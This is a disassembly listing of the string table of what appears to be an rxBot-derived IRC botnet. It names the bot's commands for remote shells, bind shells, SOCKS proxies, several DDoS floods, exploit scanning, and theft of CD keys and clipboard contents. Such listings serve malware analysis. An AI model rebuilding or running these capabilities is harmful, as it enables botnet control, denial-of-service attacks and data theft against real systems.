unk_440FC4	db  2Dh	; -		; DATA XREF: sub_401CC7+7F84o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
unk_440FF0	db  2Dh	; -		; DATA XREF: sub_401CC7+7FE5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 10h
; char asc_441010[]
asc_441010	db '-'                  ; DATA XREF: sub_401CC7+8002o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
; char a332_3[]
a332_3		db '332',0              ; DATA XREF: sub_401CC7+AA9o
; char asc_441034[]
asc_441034	db ' :',0               ; DATA XREF: sub_401CC7:loc_4027C8o
		align 4
; char aD[]
aD		db '$%d-',0             ; DATA XREF: sub_401CC7+B5Fo
		align 10h
; char aD_0[]
aD_0		db '$%d',0              ; DATA XREF: sub_401CC7+C23o
; char aMe[]
aMe		db '$me',0              ; DATA XREF: sub_401CC7+C95o
; char aUser[]
aUser		db '$user',0            ; DATA XREF: sub_401CC7+CA7o
		align 10h
; char aChan[]
aChan		db '$chan',0            ; DATA XREF: sub_401CC7+CB8o
		align 4
; char aRndnick[]
aRndnick	db '$rndnick',0         ; DATA XREF: sub_401CC7+CD4o
		align 4
; char aServer[]
aServer		db '$server',0          ; DATA XREF: sub_401CC7+CE5o
; char aChr[]
aChr		db '$chr(',0            ; DATA XREF: sub_401CC7+CF0o
		align 4
; char aChr_0[]
aChr_0		db '$chr(',0            ; DATA XREF: sub_401CC7+D09o
		align 4
; char asc_44107C[]
asc_44107C:				; DATA XREF: sub_401CC7+D31o
		unicode	0, <)>,0
; char a63[]
a63		db '63',0               ; DATA XREF: sub_401CC7+D59o
		align 4
; char asc_441084[]
asc_441084:				; DATA XREF: sub_401CC7+E31o
		unicode	0, < >,0
; char asc_441088[]
asc_441088:				; DATA XREF: sub_401CC7:loc_402B19o
		unicode	0, < >,0
; char aRndnick_0[]
aRndnick_0	db 'rndnick',0          ; DATA XREF: sub_401CC7+E8Co
; char aRn[]
aRn		db 'rn',0               ; DATA XREF: sub_401CC7+EA4o
		align 4
; char aNickS_8[]
aNickS_8	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+7E5Do
		align 4
; char asc_4410A4[]
asc_4410A4	db '-'                  ; DATA XREF: sub_401CC7+7E74o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
; char aDie[]
aDie		db 'die',0              ; DATA XREF: sub_401CC7+EB9o
; char aD_1[]
aD_1		db 'd',0                ; DATA XREF: sub_401CC7+ECEo
		align 10h
; char a332_4[]
a332_4		db '332',0              ; DATA XREF: sub_401CC7+2F3Eo
; char aLogout[]
aLogout		db 'logout',0           ; DATA XREF: sub_401CC7+EE3o
		align 4
; char aLo[]
aLo		db 'lo',0               ; DATA XREF: sub_401CC7+EF8o
		align 10h
; char asc_4410E0[]
asc_4410E0	db '-'                  ; DATA XREF: sub_401CC7+2EC5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_1	db 'User %s logged out.',0
unk_441100	db  2Dh	; -		; DATA XREF: sub_401CC7+2EDBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
unk_44112C	db  2Dh	; -		; DATA XREF: sub_401CC7+2EE3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
; char asc_441158[]
asc_441158	db '-'                  ; DATA XREF: sub_401CC7+2F22o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_2	db 'User %s logged out.',0
; char aVersion[]
aVersion	db 'version',0          ; DATA XREF: sub_401CC7+F0Do
; char aVer[]
aVer		db 'ver',0              ; DATA XREF: sub_401CC7+F22o
dword_441184	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401CC7+2E86o
; char aDedication[]
aDedication	db 'dedication',0       ; DATA XREF: sub_401CC7+F37o
		align 10h
; char aDed[]
aDed		db 'ded',0              ; DATA XREF: sub_401CC7+F4Co
unk_4411A4	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_404B3Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
; char aSpeedtest[]
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401CC7+F61o
		align 10h
; char aSt[]
aSt		db 'st',0               ; DATA XREF: sub_401CC7+F76o
		align 4
; char aSecure[]
aSecure		db 'secure',0           ; DATA XREF: sub_401CC7+F8Bo
		align 4
; char aSec[]
aSec		db 'sec',0              ; DATA XREF: sub_401CC7+FA0o
; char aUnsecure[]
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401CC7+FB5o
		align 4
; char aUnsec[]
aUnsec		db 'unsec',0            ; DATA XREF: sub_401CC7+FCAo
		align 4
; char aSecure_1[]
aSecure_1	db 'secure',0           ; DATA XREF: sub_401CC7+2D61o
		align 4
; char aSec_0[]
aSec_0		db 'sec',0              ; DATA XREF: sub_401CC7+2D72o
aSecuring	db 'Securing',0         ; DATA XREF: sub_401CC7+2DCDo
		align 4
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401CC7+2DD4o
		align 4
; char asc_4412A8[]
asc_4412A8	db '-'                  ; DATA XREF: sub_401CC7+2DDAo
		db 3, 34h, 2
		dd 75636573h, 3026572h,	7325202Dh, 73797320h, 2E6D6574h
		dd 0
dword_4412C4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401CC7+2E54o
aFailedToStar_0	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
; char aBindshell[]
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401CC7+FDFo
		align 4
; char aBd[]
aBd		db 'bd',0               ; DATA XREF: sub_401CC7+FF4o
		align 10h
; char asc_441310[]
asc_441310	db '-'                  ; DATA XREF: sub_401CC7+2CD2o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
unk_44133C	db  2Dh	; -		; DATA XREF: sub_401CC7+2D56o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToStar_1	db ' Failed to start server thread, error: <%d>.',0
		align 4
; char aBindshellstop[]
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401CC7+1009o
		align 4
aServer_0	db 'Server',0           ; DATA XREF: sub_401CC7+1022o
		align 4
dword_441394	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401CC7+1027o
; char aSocks4[]
aSocks4		db 'socks4',0           ; DATA XREF: sub_401CC7+1032o
		align 10h
; char aS4[]
aS4		db 's4',0               ; DATA XREF: sub_401CC7+1047o
		align 4
; char asc_4413B4[]
asc_4413B4	db '-'                  ; DATA XREF: sub_401CC7+2BE1o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_4413DC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401CC7+2C50o
aFailedToStar_2	db '- Failed to start server thread, error: <%d>.',0
		align 4
; char aSocks4stop[]
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401CC7+105Co
		align 4
aServer_1	db 'Server',0           ; DATA XREF: sub_401CC7+1075o
		align 4
dword_44142C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401CC7+107Ao
; char aRloginstop[]
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401CC7+1085o
		align 4
aServer_2	db 'Server',0           ; DATA XREF: sub_401CC7+109Eo
		align 10h
dword_441450	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401CC7+10A3o
; char aHttpstop[]
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401CC7+10AEo
		align 4
aServer_3	db 'Server',0           ; DATA XREF: sub_401CC7+10C7o
		align 4
dword_441474	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401CC7+10CCo
; char aLogstop[]
aLogstop	db 'logstop',0          ; DATA XREF: sub_401CC7+10D7o
aLogList	db 'Log list',0         ; DATA XREF: sub_401CC7+10F0o
		align 4
dword_441498	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401CC7+10F5o
; char aRedirectstop[]
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401CC7+1100o
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_401CC7+1119o
		align 4
dword_4414C4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401CC7+111Eo
; char aDdos_stop[]
aDdos_stop	db 'ddos.stop',0        ; DATA XREF: sub_401CC7+1129o
		align 10h
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_401CC7+1142o
		align 4
dword_4414EC	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401CC7+1147o
; char aSynstop[]
aSynstop	db 'synstop',0          ; DATA XREF: sub_401CC7+1152o
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_401CC7+116Bo
		align 4
dword_44150C	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC7+1170o
; char aSkysynstop[]
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401CC7+117Bo
		align 4
aSkysynFlood	db 'SkySyn flood',0     ; DATA XREF: sub_401CC7+1194o
		align 4
dword_441534	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401CC7+1199o
; char aTarga3stop[]
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401CC7+11A4o
		align 10h
aTarga3Flood	db 'Targa3 flood',0     ; DATA XREF: sub_401CC7+11BDo
		align 10h
dword_441560	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401CC7+11C2o
; char aWonkstop[]
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401CC7+11CDo
		align 4
aWonkFlood	db 'Wonk flood',0       ; DATA XREF: sub_401CC7+11E6o
		align 4
dword_441588	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401CC7+11EBo
; char aPacketstop[]
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401CC7+11F6o
		align 10h
aDdosFlood_0	db 'DDoS flood',0       ; DATA XREF: sub_401CC7+1217o
		align 4
dword_4415AC	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401CC7+121Co
aSynFlood_0	db 'Syn flood',0        ; DATA XREF: sub_401CC7+1235o
		align 4
dword_4415C4	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC7+123Ao
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_401CC7+1256o
		align 4
dword_4415DC	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC7+125Bo
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_401CC7+1274o
		align 4
dword_4415F4	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401CC7+1279o
aTarga3Flood_0	db 'Targa3 flood',0     ; DATA XREF: sub_401CC7+1295o
		align 10h
dword_441610	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401CC7+129Ao
aWonkFlood_0	db 'Wonk flood',0       ; DATA XREF: sub_401CC7+12B3o
		align 4
dword_44162C	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401CC7+12B8o
aTsunamiFlood	db 'Tsunami flood',0    ; DATA XREF: sub_401CC7+12D4o
		align 4
dword_441648	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401CC7+12D9o
aWisdomAttack	db 'Wisdom attack',0    ; DATA XREF: sub_401CC7+12F2o
		align 4
dword_441668	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401CC7+12F7o
aSkysynFlood_0	db 'SkySyn flood',0     ; DATA XREF: sub_401CC7+1313o
		align 4
dword_441688	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401CC7+1318o
unk_441698	db  2Dh	; -		; DATA XREF: sub_401CC7+1332o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
; char aTsunamistop[]
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401CC7+134Co
aTsunamiFlood_0	db 'Tsunami flood',0    ; DATA XREF: sub_401CC7+1365o
		align 4
dword_4416E8	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401CC7+136Ao
; char aWisdomstop[]
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401CC7+1375o
		align 4
aWisdomAttack_0	db 'Wisdom attack',0    ; DATA XREF: sub_401CC7+138Eo
		align 4
dword_441714	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401CC7+1393o
; char aUdpstop[]
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401CC7+139Eo
aUdpFlood_0	db 'UDP flood',0        ; DATA XREF: sub_401CC7+13B7o
		align 4
dword_441738	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC7+13BCo
; char aPingstop[]
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401CC7+13C7o
		align 10h
aPingFlood_0	db 'Ping flood',0       ; DATA XREF: sub_401CC7+13E0o
		align 4
dword_44175C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401CC7+13E5o
; char aTftpstop[]
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401CC7+13F0o
		align 4
aServer_4	db 'Server',0           ; DATA XREF: sub_401CC7+1409o
		align 4
dword_44177C	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401CC7+140Eo
; char aFindfilestop[]
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401CC7+1419o
		align 4
; char aFfstop[]
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401CC7+142Eo
		align 4
aFindFile	db 'Find file',0        ; DATA XREF: sub_401CC7+2B12o
		align 10h
dword_4417B0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401CC7+2B17o
; char aProcsstop[]
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401CC7+1443o
		align 4
; char aPsstop[]
aPsstop		db 'psstop',0           ; DATA XREF: sub_401CC7+1458o
		align 4
aProcessList	db 'Process list',0     ; DATA XREF: sub_401CC7+2AFDo
		align 4
dword_4417E4	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401CC7+2B02o
; char aClonestop[]
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401CC7+146Do
		align 10h
aClone		db 'Clone',0            ; DATA XREF: sub_401CC7+1486o
		align 4
dword_441808	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401CC7+148Bo
; char aSecurestop[]
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401CC7+1496o
		align 4
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401CC7+14AFo
		align 4
dword_44182C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401CC7+14B4o
; char aScanstop[]
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401CC7+14BFo
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_401CC7+14D8o
		align 10h
dword_441850	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401CC7+14DDo
; char aScanstats[]
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401CC7+14E8o
		align 4
; char aStats[]
aStats		db 'stats',0            ; DATA XREF: sub_401CC7+14FDo
		align 10h
; char aTransferstats[]
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401CC7+1512o
		align 10h
; char aTrstats[]
aTrstats	db 'trstats',0          ; DATA XREF: sub_401CC7+1527o
; char aConnectbacksta[]
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401CC7+153Co
		align 4
; char aCbstats[]
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401CC7+1551o
; char aExploitlist[]
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401CC7+1566o
; char aExplist[]
aExplist	db 'explist',0          ; DATA XREF: sub_401CC7+157Bo
; char aReconnect[]
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401CC7+1590o
		align 4
; char aR[]
aR:					; DATA XREF: sub_401CC7+15A5o
		unicode	0, <r>,0
; char aQuitReconnecti[]
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_404744o
		align 10h
dword_4418E0	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401CC7+2A8Ao
		dd 676E6974h, 2Eh
; char aDisconnect[]
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401CC7+15BAo
		align 4
; char aDc[]
aDc		db 'dc',0               ; DATA XREF: sub_401CC7+15CFo
		align 4
; char aQuitDisconnect[]
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_404722o
		align 4
dword_441924	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401CC7+2A68o
		dd 6E697463h, 2E67h
; char aQuit_0[]
aQuit_0		db 'quit',0             ; DATA XREF: sub_401CC7+15E4o
		align 4
; char aQ[]
aQ:					; DATA XREF: sub_401CC7+15F9o
		unicode	0, <q>,0
; char aQuitS[]
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+2A33o
		align 4
; char aQuitLater[]
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_40470Co
		align 4
; char aStatus[]
aStatus		db 'status',0           ; DATA XREF: sub_401CC7+160Eo
		align 10h
; char aS_2[]
aS_2:					; DATA XREF: sub_401CC7+1623o
		unicode	0, <s>,0
unk_441974	db  2Dh	; -		; DATA XREF: sub_401CC7+2A0Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
; char aId[]
aId		db 'id',0               ; DATA XREF: sub_401CC7+1638o
		align 4
; char aI_0[]
aI_0		db 'i',0                ; DATA XREF: sub_401CC7+164Do
		align 4
; char asc_4419A8[]
asc_4419A8	db '-'                  ; DATA XREF: sub_401CC7+29CDo
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 20746F42h, 203A4449h, 2E7325h
; char aReboot[]
aReboot		db 'reboot',0           ; DATA XREF: sub_401CC7+1662o
		align 4
; char asc_4419C8[]
asc_4419C8	db '-'                  ; DATA XREF: sub_401CC7+1679o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
unk_4419E8	db  2Dh	; -		; DATA XREF: sub_401CC7+1680o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
; char aThreads[]
aThreads	db 'threads',0          ; DATA XREF: sub_401CC7+16B4o
; char aT[]
aT:					; DATA XREF: sub_401CC7+16C9o
		unicode	0, <t>,0
; char aSub[]
aSub		db 'sub',0              ; DATA XREF: sub_401CC7+2929o
; char asc_441A20[]
asc_441A20	db '-'                  ; DATA XREF: sub_401CC7+294Fo
		db 3, 34h, 2
		dd 65726874h, 2736461h,	4C202D03h, 20747369h, 65726874h
		dd 2E736461h, 0
unk_441A40	db  2Dh	; -		; DATA XREF: sub_401CC7+29BEo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToStartL	db '- Failed to start list thread, error: <%d>.',0
		align 4
; char aAliases[]
aAliases	db 'aliases',0          ; DATA XREF: sub_401CC7+16DEo
; char aAl[]
aAl		db 'al',0               ; DATA XREF: sub_401CC7+16F3o
		align 4
dword_441A88	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401CC7+28D7o
		dd 2E7473h
; char aLog[]
aLog		db 'log',0              ; DATA XREF: sub_401CC7+1708o
; char aLg[]
aLg		db 'lg',0               ; DATA XREF: sub_401CC7+171Do
		align 4
; char aS_37[]
aS_37		db '%s',0               ; DATA XREF: sub_401CC7+27F9o
		align 4
; char asc_441AAC[]
asc_441AAC	db '-'                  ; DATA XREF: sub_401CC7+284Do
		db 3, 34h, 2
		dd 2676F6Ch, 4C202D03h,	69747369h, 6C20676Eh, 2E676Fh
unk_441AC4	db  2Dh	; -		; DATA XREF: sub_401CC7+28BCo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToStar_3	db '- Failed to start listing thread, error: <%d>.',0
; char aClearlog[]
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401CC7+1732o
		align 4
; char aClg[]
aClg		db 'clg',0              ; DATA XREF: sub_401CC7+1747o
; char aNetinfo[]
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401CC7+175Co
; char aNi[]
aNi		db 'ni',0               ; DATA XREF: sub_401CC7+1771o
		align 4
dword_441B18	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401CC7+27A5o
		dd 6F666E49h, 2Eh
; char aSysinfo[]
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401CC7+1786o
; char aSi[]
aSi		db 'si',0               ; DATA XREF: sub_401CC7+179Bo
		align 10h
dword_441B40	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401CC7+2776o
		dd 2E6F666Eh, 0
; char aRemove[]
aRemove		db 'remove',0           ; DATA XREF: sub_401CC7+17B0o
		align 4
; char aRm[]
aRm		db 'rm',0               ; DATA XREF: sub_401CC7+17C5o
		align 4
dword_441B68	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401CC7+2721o
		dd 746F4220h, 2Eh
; char aProcs[]
aProcs		db 'procs',0            ; DATA XREF: sub_401CC7+17DAo
		align 4
; char aPs[]
aPs		db 'ps',0               ; DATA XREF: sub_401CC7+17EFo
		align 10h
unk_441B90	db  2Dh	; -		; DATA XREF: sub_401CC7+2611o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunning	db ' Already running.',0
		align 10h
; char aFull[]
aFull		db 'full',0             ; DATA XREF: sub_401CC7+2670o
		align 4
; char asc_441BB8[]
asc_441BB8	db '-'                  ; DATA XREF: sub_401CC7+2690o
		db 3, 34h, 2
		dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h
		dd 2E7473h
; char asc_441BD4[]
asc_441BD4	db '-'                  ; DATA XREF: sub_401CC7+2705o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToStar_4	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
; char aGetcdkeys[]
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401CC7+1804o
		align 4
; char aKey[]
aKey		db 'key',0              ; DATA XREF: sub_401CC7+1819o
dword_441C20	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401CC7+25EEo
aSearchComplete	db '- Search completed.',0
; char aUptime[]
aUptime		db 'uptime',0           ; DATA XREF: sub_401CC7+182Eo
		align 4
; char aUp[]
aUp		db 'up',0               ; DATA XREF: sub_401CC7+1843o
		align 4
; char asc_441C4C[]
asc_441C4C	db '-'                  ; DATA XREF: sub_401CC7+25A2o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 69747055h, 203A656Dh, 2E7325h
; char aDriveinfo[]
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401CC7+1858o
		align 10h
; char aDrv[]
aDrv		db 'drv',0              ; DATA XREF: sub_401CC7+186Do
; char aTestdlls[]
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401CC7+1882o
		align 10h
; char aDll[]
aDll		db 'dll',0              ; DATA XREF: sub_401CC7+1897o
; char aOpencmd[]
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401CC7+18ACo
; char aOcmd[]
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401CC7+18C1o
		align 4
unk_441C94	db  2Dh	; -		; DATA XREF: sub_401CC7+24B4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
unk_441CC0	db  2Dh	; -		; DATA XREF: sub_401CC7+24D0o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
; char asc_441CE8[]
asc_441CE8	db '-'                  ; DATA XREF: sub_401CC7:loc_40419Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
; char aCmdstop[]
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401CC7+18D6o
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_401CC7+18EFo
		align 10h
dword_441D20	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401CC7+18F4o
; char aWho[]
aWho		db 'who',0              ; DATA XREF: sub_401CC7+18FFo
dword_441D30	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401CC7+191Co
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401CC7:loc_40360Do
; char aD_S[]
aD_S		db '%d. %s',0           ; DATA XREF: sub_401CC7+1953o
		align 4
unk_441D54	db  2Dh	; -		; DATA XREF: sub_401CC7+1988o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
; char aGetclip[]
aGetclip	db 'getclip',0          ; DATA XREF: sub_401CC7+1A15o
; char aGc[]
aGc		db 'gc',0               ; DATA XREF: sub_401CC7+1A2Ao
		align 4
dword_441D84	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401CC7+2470o
		dd 2Dh
dword_441D9C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401CC7+249Eo
		dd 72616F62h, 2E64h
; char aFlusharp[]
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401CC7+1A3Fo
		align 4
; char aFarp[]
aFarp		db 'farp',0             ; DATA XREF: sub_401CC7+1A54o
		align 4
unk_441DCC	db  2Dh	; -		; DATA XREF: sub_401CC7+2459o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_441DF0	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_404127o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
; char aFlushdns[]
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401CC7+1A69o
		align 4
; char aFdns[]
aFdns		db 'fdns',0             ; DATA XREF: sub_401CC7+1A7Eo
		align 10h
unk_441E30	db  2Dh	; -		; DATA XREF: sub_401CC7+2427o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_441E54	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4040F5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
; char asc_441E80[]
asc_441E80	db '-'                  ; DATA XREF: sub_401CC7:loc_4040FCo
